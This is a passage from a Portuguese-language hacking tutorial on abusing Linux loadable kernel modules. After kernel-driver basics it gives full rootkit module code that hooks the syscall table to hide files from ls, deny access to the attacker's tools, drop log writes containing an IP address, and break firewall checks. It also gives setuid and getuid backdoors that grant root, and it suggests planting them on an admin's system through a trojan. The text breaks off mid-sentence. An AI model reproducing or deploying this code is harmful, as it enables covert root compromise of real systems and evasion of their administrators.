int register_blkdev (unsigned int major,  	  |            devices
const char *name, struct file_o perations *fops); | _blkdev => block
int unregister_blkdev (unsigned int major, 	  |            devices
const char *name);				  |
======================================================================

Por favor, lembre-se que algumas funcoes acima podem ser uteis ao metodo
mencionado no I.5. Mas vc precisa entender, isso nao eh muito usado para
construcao em user space como funcao. Mais tarde voce vera q estas funcoes
(especialmente comparacoes de strings) sao muito importantes para nossas
aventuras hehehe....

7. O que eh o Kernel-Daemon

Finalmente estamos perto do fim desta parte basica. Agora eu vou explicar
o funcionamento do Kernel-Daemon(/sbin/kerneld). Como o proprio nome 
diz este eh um processo do user space esperando por alguma acao. Antes
de tudo voce tem q saber o q eh necessario para ativar a opcao kerneld 
no kernel, em ordem para usar as caracteristicas do kernel. Kerneld 
funciona da seguinte maneira: 
Se o kernel quer acessar um recurso(em kernel space eh claro), que nao
esta presente no momento, ele NAO produz erro. Tendo feito issu ele 
pergunta ao kerneld por akele recurso. Se o kerneld estiver apto a
prover o recurso, ele roda o LKM requerido e o kernel pode continuar
funcionando. Usando este esquema eh possivel loadar e desloadar LKMs
apenas quando eles sao realmente necessarios/nao necessarios. Precisa
ficar claro que para issu funcionar tem de ser ambos em user e kernel
space.
Kerneld existe no user space. Se o kernel requisitar um novo modulo este
daemon recebe uma string do kerneel dizendo qual modulo rodar. Eh possivel
q o kernel envie um nome generico(como o nome do arquivo objeto) como
eth0. Neste caso o sistema precisa acessar o /etc/modules.conf para as
linhas alias. Estas linhas trazem nomes genericos dos LKMs requeridos 
nakele sistema.
A seguinte linha diz q a eth0 eh representada pelo LKM DEC Tulip driver:

# /etc/modules.conf          # or /etc/conf.modules - this differs
alias eth0 tulip

Esta foi a maneira em user space representada pelo kerneld daemon. O
kernel space eh representado por 4 funcoes. Estas funcoes sao todas 
baseadas em chamadas do kerneld_send. Para ser mais exato, kernel_send 
eh envolvido com varias chamadas de funcoes no linux/kerneld.h. A 
seguinte tabela lista as 4 funcoes menciodas ai acima:

=====================================================================
              funcao                |            descricao
=====================================================================
int sprintf (char *buf, const char *fmt, ...); |
int vsprintf (char *buf, const char *fmt,      | funcoes para empacotar
va_list args);		         	       | dados em strings
=====================================================================
int request_module (const | diz ao kerneld que o kernel requer um certo
char *name); 		  | modulo (dando o nome o ID/nome generico)
======================================================================
int release_module (const char* name, | unloadar um modulo
int waitflag); 			      |
======================================================================
int delayed_release_module (const char *name); | unload atrasado
======================================================================
int cancel_release_module(const  | cancela uma chamada do 
char *name);                     | delayed_release_module
======================================================================
Nota: Kernel 2.2 usa outro esquema para requisitar modulos. De uma 
olhada na parte V.

8. Criando seus proprios Devices

O apendice A traz o utilitario TTY Hijacking, que usa um device para
logar os resultados. Entao nos temos que olhar um exemplo bastante 
basico de um device driver. Veja o seguinte codigo(este eh um driver
bastaaante basico, eu soh escrevi para demonstrar, ele implementa 
algumas operacoes...): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*just a dummy for demonstration*/
static int driver_open(struct inode *i, struct file *f)
{
 printk("<1>Open Function\n");
 return 0;
}

/*register every function which will be provided by our driver*/
static struct file_operations fops = {
NULL,                 /*lseek*/
NULL,                 /*read*/
NULL,                 /*write*/
NULL,                 /*readdir*/
NULL,                 /*select*/
NULL,                 /*ioctl*/
NULL,                 /*mmap*/
driver_open,          /*open, take a look at my dummy open function*/
NULL,                 /*release*/
NULL                  /*fsync...*/
};


int init_module(void)
{
 /*register driver with major 40 and the name driver*/
 if(register_chrdev(40, "driver", &fops)) return -EIO;
  return 0;
}

void cleanup_module(void)
{
 /*unregister our driver*/
 unregister_chrdev(40, "driver");
}

A mais mais mais importante funcao eh a register_chrdev() que registra 
nosso driver com o maior numero 40. Se vc quer acessar este driver, 
faca o seguinte:

# mknode /dev/driver c 40 0

# insmod driver.o

Depois disso voce pode acessar aquele device(mas eu nao implementei 
nenhuma funcao para issu). A estrutura file_operations traz todas 
funcoes(operacoes) que nosso driver ira trazer para o sistema. Como
voce pode ver eu apenas implementei uma funcao bem basica apenas 
imprimindo alguma coisa. Eh claro quer voce pode implementar seus 
proprios devices de uma maneira bem facil no seu driver usando os
metodos q citei. Apenas faca alguns "experimentos". Se voce logar 
algum dado(curso de chaves por exemplo) voce pode incluir um buffer
no seu driver q exporta isso para a interface do device.

II. Diversão & Lucro 

1. Como interceptar Syscalls 

Agora nós começaremos a abusar dos esquemas de LKM. Normalmente são  
usados LKMs para estender o núcleo (especialmente os drivers de
hardware).  Nossos ' Hacks ' farao algo diferente, eles interceptarão  
systemcalls e os modificarão para mudar o modo que o sistema reage em  
certos comandos. 
O módulo seguinte faz com q isto seja impossível para qualquer usuário no  
sistema assumindo compromisso de criar diretórios. Isto é justo, um pouco
demonstração para mostrar
o modo q nós seguimos. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];       /*sys_call_table is exported, so we
                                     can access it*/               

int (*orig_mkdir)(const char *path); /*the original systemcall*/


int hacked_mkdir(const char *path)
{
 return 0;                           /*everything is ok, but he new systemcall
                                     does nothing*/
}

int init_module(void)                /*module setup*/
{
 orig_mkdir=sys_call_table[SYS_mkdir];
 sys_call_table[SYS_mkdir]=hacked_mkdir;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
                                       one*/
}


Compile este módulo e o inicie(veja I.1). Tente fazer um diretório, não  
vai funcionar. Pq de devolver 0 (representando o OK) nós não adquirimos
uma mensagem de erro. Depois de remover o módulo, fazer diretórios é
novamente possível. Como você pode ver, nós só precisamos mudar a entrada
correspondente em sys_call_table (veja I.2) por interceptar um systemcall
de Kernel. A aproximação geral para interceptar um systemcall é esboçada 
na lista seguinte: 
 - ache sua entrada de systemcall em sys_call_table [] (dê uma olhada em
   include/sys / syscall.h) 
 - salve a entrada velha de sys_call_table[X] em um ponteiro de função  
   (onde X representa o systemcallnumber que você quer interceptar) 
 - salve o endereço do novo (hacked) systemcall  que vc definiu fixando 
   sys_call_table[X] para o endereço de função precisado 

Reconheca que eh muito util economizar o systemcall velho que funciona como 
ponteiro, porque você precisará disto em seu hacked para emular a chamada  
original.
A primeira pergunta você tem que enfrentar quando esta escrevendo um '
Hack-LKM ' é: 
' Qual systemcall eu deveria interceptar '.
 
2. Syscalls interessantes p/ Interceptar
 
Talvez você não seja um deus de Kernel e você não conhece todo systemcall
para toda função user space q uma aplicação ou comando pode usar. Assim
eu lhe darei algumas sugestões para achar seu systemcall para obter
controle em cima dele. 

a. Leia código fonte. Em sistemas como Linux você pode ter o código de
   fonte em quase qualquer programa q um usuário (admin) pode usar. Uma
   vez você achou uma função básica como dup, open, write,... vá para b  
b. Dê uma olhada em include/sys/syscall.h (veja I.2). Tente achar um
   systemcall diretamente correspondente (procura para dup - > você achará
   SYS_dup; procura para write - > você achará SYS_write;...). Se isto não
   funfa ir p/  c.
c. Algumas chamadas como socket, send, receive,... é implementado por um
   systemcall - como eu disse antes. Dê uma olhada ao arquivo 'include'
   mencionado para systemcalls relacionado. 

Caso ñ se lembre toda função de C-lib é um systemcall! A maioria das funções é 
totalmente sem conexão a qualquer systemcalls! Hackers um pouco mais
experiente deveriam dar uma olhada no systemcall que lista em I.2 que
provê bastante informação.
Deveria fikar claro que a administração de ID d usuario eh implementada
pelos uid-systemcalls etc. Se você realmente quer estar seguro vc tb pode
dar uma olhada nas fontes das library's e Kernel fontes. O maior problema
eh um admin que escreve suas próprias aplicações por conferir integridade
e segurança do sistema. O problema que existe nesses programas é a falta
de código fonte. Nós não podemos dizer como este programa funciona
exatamente e quais systemcalls nós temos que interceptar para esconder  
nossas ferramentas presentes. Pode ser até mesmo possível que ele
introduza um LKM que esconde quais utensílios utiliza igual um
systemcalls feito pelo hacker para conferir a segurança do sistema (os
admins usam freqüentemente técnicas de hacker para defender o 
sistema deles...). Assim como nós fazemos.

2.1 Achando systemcalls interessantes (o strace aproximam) 

Digamos que você sabe q o programa do super-admin confera o sistema (isto
pode ser feito de algum jeito, como TTY Hijacking (veja II.9 / Apêndice
A), o único problema é que você precisa esconder seus feitos do programa
do super-admin até aquele ponto..).  
Assim rode o programa (talvez você tem que ser root para executar
isto) usando strace. 

# strace super_admin_proggy 

Isto lhe dará uma resposta realmente agradável de todo systemcall feito
por aquele programa inclusive os systemcalls que podem ser adicionados
pelo admin pelo LKM dele (eh possivel).
Eu nao tenho um super-admin-proggy de amostra para lhe mostrar uma
resposta, mas olhe a resposta pega por um 'strace whoami' : 

execve (/usr/bin/whoami ", [whoami "], [/ * 50 vars * /]) = 0 
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40007000 
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 
stat (/etc/ld.so.cache ", {st_mode=S_IFREG|0644, 
st_size=13363,...}) = 0
open("/etc/ld.so.cache ", O_RDONLY) = 3 
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000 
close(3) = 0 
stat (/etc/ld.so.preload ", 0xbffff780) = -1 ENOENT (No such file or directory) 
open("/lib/libc.so.5 ", O_RDONLY) = 3 
read(3, \177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3 "..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0x4000c000 
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000 
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000 
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000 
close(3) = 0 
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 
munmap(0x40008000, 13363) = 0 
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0 
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0 
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0 
personality(PER_LINUX) = 0 
geteuid () = 500 
getuid () = 500 
getgid () = 100 
getegid () = 100 
brk(0x804aa48) = 0x804aa48 
brk(0x804b000) = 0x804b000 
open("/usr/share/locale/locale.alias ", O_RDONLY) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=2005,...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40008000 
Read(3," #nome de lugar pseudônimo base\n de dados #"..., 4096) = 
2005
brk(0x804c000) = 0x804c000 
read(3,"", 4096) = 0 
close(3) = 0 
munmap(0x40008000, 4096) = 0 
open("/usr/share/i18n/locale.alias ", O_RDONLY) = -1 ENOENT 
(No such file or directory) 
open("/usr/share/locale/de_DE/LC_CTYPE ", O_RDONLY) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=10399,...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000 
close(3) = 0 
geteuid () = 500 
open("/etc/passwd ", O_RDONLY) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=1074,...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x4000b000 
read(3, root:x:0:0:root:/root:/bin/bash\n "..., 4096) = 1074
close(3) = 0 
munmap(0x4000b000, 4096) = 0 
fstat(1, {st_mode=S_IFREG|0644, st_size=2798,...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x4000b000 
write(1, r00t\n ", 5r00t, 
)                   = 5
_exit(0) =? 

Isto eh uma lista muito agradável de todo o systamcalls feito pelo
comando ' whoami ', não é? Há 4 systemcalls interessante para interceptar
para manipular a produção de ' whoami ' 

geteuid () = 500 
getuid () = 500 
getgid () = 100 
getegid () = 100 

Dê uma olhada em II.6 para uma implementação daquele problema. Deste modo
de programas de analysing também é muito importante dar uma olhada rápida
em outras ferramentas standards. Eu espero que agora você possa achar
qualquer systemcall que possa lhe ajudar a se esconder ou só para uma
backdoor no sistema, ou tudo que que você quer. 

3. Confundindo o kernel's System Table
 
Em II.1 você viu como ter acesso a sys_call_table que é exportado pela
kernel symbol table. Agora pense nisto... Nós podemos modificar qualquer
item exportado (funções, estruturas, variáveis, por exemplo) tendo acesso
dentro de nosso módulo. Qualquer coisa listada no /proc/ksyms pode ser
corrompida. Lembre-se que nosso módulo não pode assumir compromisso de
caminho ou canal, porque nós não exportamos nenhum símbolo. Aqui esta um
pedacinhu de meu arquivo /proc/ksyms, soh para lhe mostrar o que você pode
modificar de fato. 

...
001bf1dc ppp_register_compressor 
001bf23c ppp_unregister_compressor 
001e7a10 ppp_crc16_table 
001b9cec slhc_init 
001b9ebc slhc_free 
001baa20 slhc_remember 
001b9f6c slhc_compress 
001ba5dc slhc_uncompress 
001babbc slhc_toss 
001a79f4 register_serial 
001a7b40 unregister_serial 
00109cec dump_thread 
00109c98 dump_fpu 
001c0c90 __do_delay 
001c0c60 down_failed 
001c0c80 down_failed_interruptible 
001c0c70 up_wakeup 
001390dc sock_register 
00139110 sock_unregister 
0013a390 memcpy_fromiovec 
001393c8 sock_setsockopt 
00139640 sock_getsockopt 
001398c8 sk_alloc 
001398f8 sk_free 
00137b88 sock_wake_async 
00139a70 sock_alloc_send_skb 
0013a408 skb_recv_datagram 
0013a580 skb_free_datagram 
0013a5cc skb_copy_datagram 
0013a60c skb_copy_datagram_iovec 
0013a62c datagram_select 
00141480 inet_add_protocol 
001414c0 inet_del_protocol 
001ddd18 rarp_ioctl_hook 
001bade4 init_etherdev 
00140904 ip_rt_route 
001408e4 ip_rt_dev 
00150b84 icmp_send 
00143750 ip_options_compile 
001408c0 ip_rt_put 
0014faa0 arp_send 
0014f5ac arp_bind_cache 
001dd3cc ip_id_count 
0014445c ip_send_check 
00142bc0 ip_forward 
001dd3c4 sysctl_ip_forward 
0013a994 register_netdevice_notifier 
0013a9c8 unregister_netdevice_notifier 
0013ce00 register_net_alias_type 
0013ce4c unregister_net_alias_type 
001bb208 register_netdev 
001bb2e0 unregister_netdev 
001bb090 ether_setup 
0013d1c0 eth_type_trans 
0013d318 eth_copy_and_sum 
0014f164 arp_query 
00139d84 alloc_skb 
00139c90 kfree_skb 
00139f20 skb_clone 
0013a1d0 dev_alloc_skb 
0013a184 dev_kfree_skb 
0013a14c skb_device_unlock 
0013ac20 netif_rx 
0013ae0c dev_tint 
001e6ea0 irq2dev_map 
0013a7a8 dev_add_pack 
0013a7e8 dev_remove_pack 
0013a840 dev_get 
0013b704 dev_ioctl 
0013abfc dev_queue_xmit 
001e79a0 dev_base 
0013a8dc dev_close 
0013ba40 dev_mc_add 
0014f3c8 arp_find 
001b05d8 n_tty_ioctl 
001a7ccc tty_register_ldisc 
0012c8dc kill_fasync 
0014f164 arp_query 
00155ff8 register_ip_masq_app 
0015605c unregister_ip_masq_app 
00156764 ip_masq_skb_replace 
00154e30 ip_masq_new 
00154e64 ip_masq_set_expire 
001ddf80 ip_masq_free_ports 
001ddfdc ip_masq_expire 
001548f0 ip_masq_out_get_2 
001391e8 register_firewall 
00139258 unregister_firewall 
00139318 call_in_firewall 
0013935c call_out_firewall 
001392d4 call_fw_firewall 
...

Veja a funcao call_in_firewall logo acima, esta é uma função usada pela
administração de firewall no Kernel. O que aconteceria se nós
substituímos esta função com um falso? 
Dê uma olhada no LKM seguinte: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*get the exported function*/
extern int *call_in_firewall;

/*our nonsense call_in_firewall*/
int new_call_in_firewall()
{
 return 0;
}

int init_module(void)                /*module setup*/
{
 call_in_firewall=new_call_in_firewall;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
}

Compile e carregue este LKM e de um 'ipfwadm -I -a deny'. Depois disto
faça um ' ping 127.0.0.1 ', seu Kernel produzirá uma bela mensagem de
erro, porque a função chamada (call_in_firewall(...)) foi substituída por
um falso (você pode saltar a instalação de firewall neste exemplo). Este
é um modo bastante brutal de matar um símbolo exportado. Você também
poderia desmontar (usando gdb) um certo símbolo e modificar certos bytes
que mudariam o funcionamento daquele símbolo. Imagine q uma construcao IF
THEN fosse usada em uma função exportada. Imagine desmontar esta função e
procurar comandos como JNZ, JNE,... Deste modo você poderia consertar
itens importantes. Claro que, você pôde ver as funções no Kernel / module
sources, mas quando se trata de símbolos você não pode adquirir a fonte
para olhar porque você só adquiriu um módulo binário. Aqui o
desmontar(disassembling) é bastante interessante. 

4. Relativo a Filesystem Hacks

A característica mais importante no LKM hacking é o eskema para esconder
alguns itens (suas façanhas, sniffer (+logs), e assim por diante) no
filesystem local. 

4.1 Como Esconder Arquivos
 
Imagine como um admin achará seus arquivos: Ele usará ' ls ' e vê tudo. 
Para akeles que não conhecem isto, strace com ls q mostrará p/ você qual
o systemcall usado para adquirir uma listagem de diretório é:

int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);

Assim nós sabemos onde atakar. No seguinte espetáculo de pedacos de
código os systemcalls de hacked_getdents foram adaptados de AFHRM (de
Michal Zalewski). Este módulo pode esconder qualquer arquivo de um ls e
todo programa que usa systemcall de getdents. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_getdents) (uint, struct dirent *, uint);

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
 unsigned int tmp, n;
 int t, proc = 0;
 struct inode *dinode;
 struct dirent *dirp2, *dirp3;
 char hide[]="ourtool";                       /*the file to hide*/

 /*call original getdents -> result is saved in tmp*/
 tmp = (*orig_getdents) (fd, dirp, count);

 /*directory cache handling*/
 /*this must be checked because it could be possible that a former getdents
 put the results into the task process structure's dcache*/
#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

 /*dinode is the inode of the required directory*/
 if (tmp > 0) 
 {
  /*dirp2 is a new dirent structure*/
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  /*copy original dirent structure to dirp2*/
  memcpy_fromfs(dirp2, dirp, tmp);
  /*dirp3 points to dirp2*/
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) 
  {
   n = dirp3->d_reclen;
   t -= n;
   /*check if current filename is the name of the file we want to hide*/
   if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
   {
    /*modify dirent struct if necessary*/
    if (t != 0)
     memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
    else
     dirp3->d_off = 1024;
    tmp -= n;
   }
   if (dirp3->d_reclen == 0) 
   {
    /*
     * workaround for some shitty fs drivers that do not properly
     * feature the getdents syscall.
    */
    tmp -= t;
    t = 0;
   }
  if (t != 0)
   dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
 }
 return tmp;
}


int init_module(void)                /*module setup*/
{
 orig_getdents=sys_call_table[SYS_getdents];
 sys_call_table[SYS_getdents]=hacked_getdents;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_getdents]=orig_getdents; 
                                       
}

Para novatos: leia os comentários e use seu cérebro por 10 mins.  
Depois disso continue lendo.
Este Hack é realmente útil. Mas lembre-se que o admin pode ver seu arquivo
tendo acesso a isto diretamente. Assim um  'cat nossaferramenta' ou 'ls
nossaferramenta' lhe mostrará nosso arquivo. Nunca use qualquer nome
trivial para suas ferramentas. Como sniffer, mountdxpl.c,.... Claro que
existem maneiras melhores de tentar impedir um admin de ler nossos arquivos, 
continue lendo. 

4.2 Como esconder os conteúdos de arquivo (totalmente) 

Eu nunca vi uma implementação que realmente faca isto :). Claro que muita
gente gosta do FHRM por Michal Zalewski para se basear em seus LKMs, que 
controla os conteúdos e apagua funções mas realmente nao esconde o
conteúdo. Eu suponho existem muitas pessoas que usam estes métodos e de
fato e gostam disto, mas ninguém escreveu isto, assim como eu faço.
Deveria estar claro que há muitos modos de fazer isto. O primeiro modo é
muito simples, Apenas interceptar um systemcall aberto que confere se
filename é a 'nossa ferramenta'. Nesse caso negue qualquer open-attempt ,
assim ninguem  podera ler, escrever, ou tudo q eh possivel de se fazer.
Implementemos este LKM: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_open)(const char *pathname, int flag, mode_t mode);


int hacked_open(const char *pathname, int flag, mode_t mode)
{
 char *kernel_pathname;
 char hide[]="ourtool";
 
 /*this is old stuff -> transfer to kernel space*/
 kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

 memcpy_fromfs(kernel_pathname, pathname, 255);

 if (strstr(kernel_pathname, (char*)&hide ) != NULL)
 {
  kfree(kernel_pathname);
  /*return error code for 'file does not exist'*/
  return -ENOENT;
 }
 else
 {
  kfree(kernel_pathname);
  /*everything ok, it is not our tool*/
  return orig_open(pathname, flag, mode);
 }
}


int init_module(void)                /*module setup*/
{
 orig_open=sys_call_table[SYS_open];
 sys_call_table[SYS_open]=hacked_open;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_open]=orig_open;                                      
}

Isto funciona muito bem, issu faz com q qualquer um q tente ter acesso aos 
nossos arquivos, ache q eles nao existem. Mas como fazer entaun para nós 
termos acesso a esses arquivos. 
Bem há muitos modos...

  - Implemente um magic-string
  - Implemente uid ou gid check (requer ter criado uma certa conta) 
  - Implemente um cheque de tempo 
  - ...

Há milhares de possibilidades e eh tudo muito fácil de se implementar, 
assim eu deixo isto como um exercício para o leitor. :)

4.3 Como esconder certas partes do arquivo (prototico de implementação) 

Bem, o método mostrado em 3.2 é muito útil para nossas próprias
ferramentas e Logs. Mas nao seria interessante modificar admin e outros
arquivos de usuário tb? Imagine você q quer controlar /var/log/messages
para entradas que contenham o seu ip ou dns.
Todos nós conhecemos milhares de backdoors que escondem nossa identidade
de qualquer logfile importante. Mas isso quando se trata de um LKM q
simplesmente filtra toda entrada de dados no arkivo.
Se este arkivo contém qualquer dado que comprometa nossa identidade 
(IP, por exemplo) nós negamos que isso escreva (nós simplesmente
pularemos isso) A implementação seguinte é apenas outro (!!) protótipo
básico (!!) LKM, só p/ mostrar isto. Eu nunca vi isto antes, mas como em
3.2 pode haver algumas pessoas que usam isto ha anos.

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_write)(unsigned int fd, char *buf, unsigned int count);

int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
 char *kernel_buf;
 char hide[]="127.0.0.1"; /*the IP address we want to hide*/
 
 kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);

 memcpy_fromfs(kernel_buf, buf, 999);

 if (strstr(kernel_buf, (char*)&hide ) != NULL)
 {
  kfree(kernel_buf);
  /*say the program, we have written 1 byte*/
  return 1;
 }
 else
 {
  kfree(kernel_buf);
  return orig_write(fd, buf, count);
 }
}

int init_module(void)                /*module setup*/
{
 orig_write=sys_call_table[SYS_write];
 sys_call_table[SYS_write]=hacked_write;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_write]=orig_write;                                      
}

Este LKM tem várias desvantagens, não confere o destino de onde isto eh usado
(pode ser conferido por fd; prossiga lendo para uma amostra). Isto significa 
q até mesmo um 'echo'127.0.0.1'' será imprimido. Você também pode modificar 
a string que deveria ser escrita, de forma que isto mostre realmente um 
endereço IP de alguém q você "gosta"...
Mas a idéia geral deve ter fikado clara.

4.4 Como redirecionar operações de monitores de arkivos

Esta idéia é velha, e foi implementada primeiro por Michal Zalewski em
AFHRM. Eu não mostrarei nenhum código aqui, porque é muito fácil de se
implementar (depois de lhe mostrar II.4.3/II.4.2). Lah são muitas coisas
que você pode monitorar através de redirecionamento de eventos do filesystem:
 
  - alguém escreve a um arquivo -> cópia os conteúdos para outro arquivo 
    => isso pode ser feito com sys_write(...) redirection 
  - alguém pôde ler um arquivo de sensitve -> monitor de arkivos que lê
    de certos arquivos => isso pode ser feito com sys_read(...) redirection 
  - alguém abre um arquivo ->  nós podemos monitorar o sistema inteiro
    para tais eventos => intercept sys_open(...) e escreve arquivos
    abertos a um logfile; este é um modo AFHRM q monitora os arquivos de
    um sistema (veja IV.3 para fonte) 
  - vínculo / unlink eventos -> monitora tudo q o vínculo criou 
    => intercept sys_link(...)  (veja IV.3 para fonte) 
  - mencione novamente eventos -> monitora todo arquivo menciona
    novamente evento => intercept sys_rename(...) (veja IV.4 para fonte) 
  - ...

Estes são pontos muito interessantes (especialmente p/ admins) porque
você pode monitorar um sistema inteiro para mudanças de arquivo. Na minha
opinião seria também interessante monitorar arquivo / diretório criações
que usam comandos parecidos com 'touch' e 'mkdir'.
O comando 'touch' (por exemplo) não usa open para o processo de
criação; um strace nos mostra para o seguinte que lista (excerto): 

...
stat (ourtool ", 0xbffff798) = -1 ENOENT (No such file or directory)
creat (ourtool ", 0666) = 3 
close(3) = 0 
_exit(0) =? 

Como você pode ver os usos de sistemas o systemcall sys_creat(..) criar
arquivos novos. Eu acho que não é necessário apresentar um source, pq
esta tarefa é muito trivial e só intercepta sys_creat(...) e escreve todo
filename no logfile com printk(...).  
Este é o jeito em q o AFHRM loga qualquer evento importante. 

4.5 Como evitar qualquer problema de dono de arquivo

Este Hack não só é relacionado a filesystem , também é muito importante
para problemas de permissão gerais. Tenha uma suposição que systemcall
para intercept. Phrack (plaguez) sugestiona enganchando 
sys_setuid(...) com um magic UID. Isto significa que sempre que um 
setuid é usado com esta magic UID, o módulo fixará o UIDs para 0 
(SuperUser). Vejamos a implementacao(E ele mostrará só o systemcall
hacked_setuid): 

...
int hacked_setuid(uid_t uid)
{
    int tmp;
    
    /*do we have the magic UID (defined in the LKM somewhere before*/
    if (uid == MAGICUID) {
    /*if so set all UIDs to 0 (SuperUser)*/
	current->uid = 0;
	current->euid = 0;
	current->gid = 0;
	current->egid = 0;
	return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}
...

Acho que o truque seguinte também pode ser muito útil em certas situaçoes.
Imagine a situação seguinte: Você dá um trojan ruim para um (muito tolo) 
admin; este trojan instala o LKM seguinte naquele sistema [e não implementou 
características de ocultamento , só um protótipo de minha idéia]: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_getuid)();

int hacked_getuid()
{
    int tmp;
     
    /*check for our UID*/
    if (current->uid=500) {
    /*if its our UID -> this means we log in -> give us a rootshell*/
    	current->uid = 0;
	current->euid = 0;
	current->gid = 0;
	current->egid = 0;
	return 0;
    }
    tmp = (*orig_getuid) ();
    return tmp;
}


int init_module(void)                /*module setup*/
{
 orig_getuid=sys_call_table[SYS_getuid];
 sys_call_table[SYS_getuid]=hacked_getuid;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_getuid]=orig_getuid;                                      
}

Se este LKM está carregado em um sistema que nós somos só um usuário normal, No login
nos darão um rootshell agradável (o processo atual tem SuperUser). 

4.6 Como fazer um unaccessible hacker-tools-directory 

Para hackers é freqüentemente importante fazer o diretório, eles usam
para as ferramentas deles (hackers avançados não usam o filesystem local
regular para armazenar os dados deles). Usando a aproximação de getdents
nos ajuda a esconder arkivos e diretorios. A aproximação aberta nos
ajudou a fazer nosso unaccessible de arquivos. Mas como fazer nosso
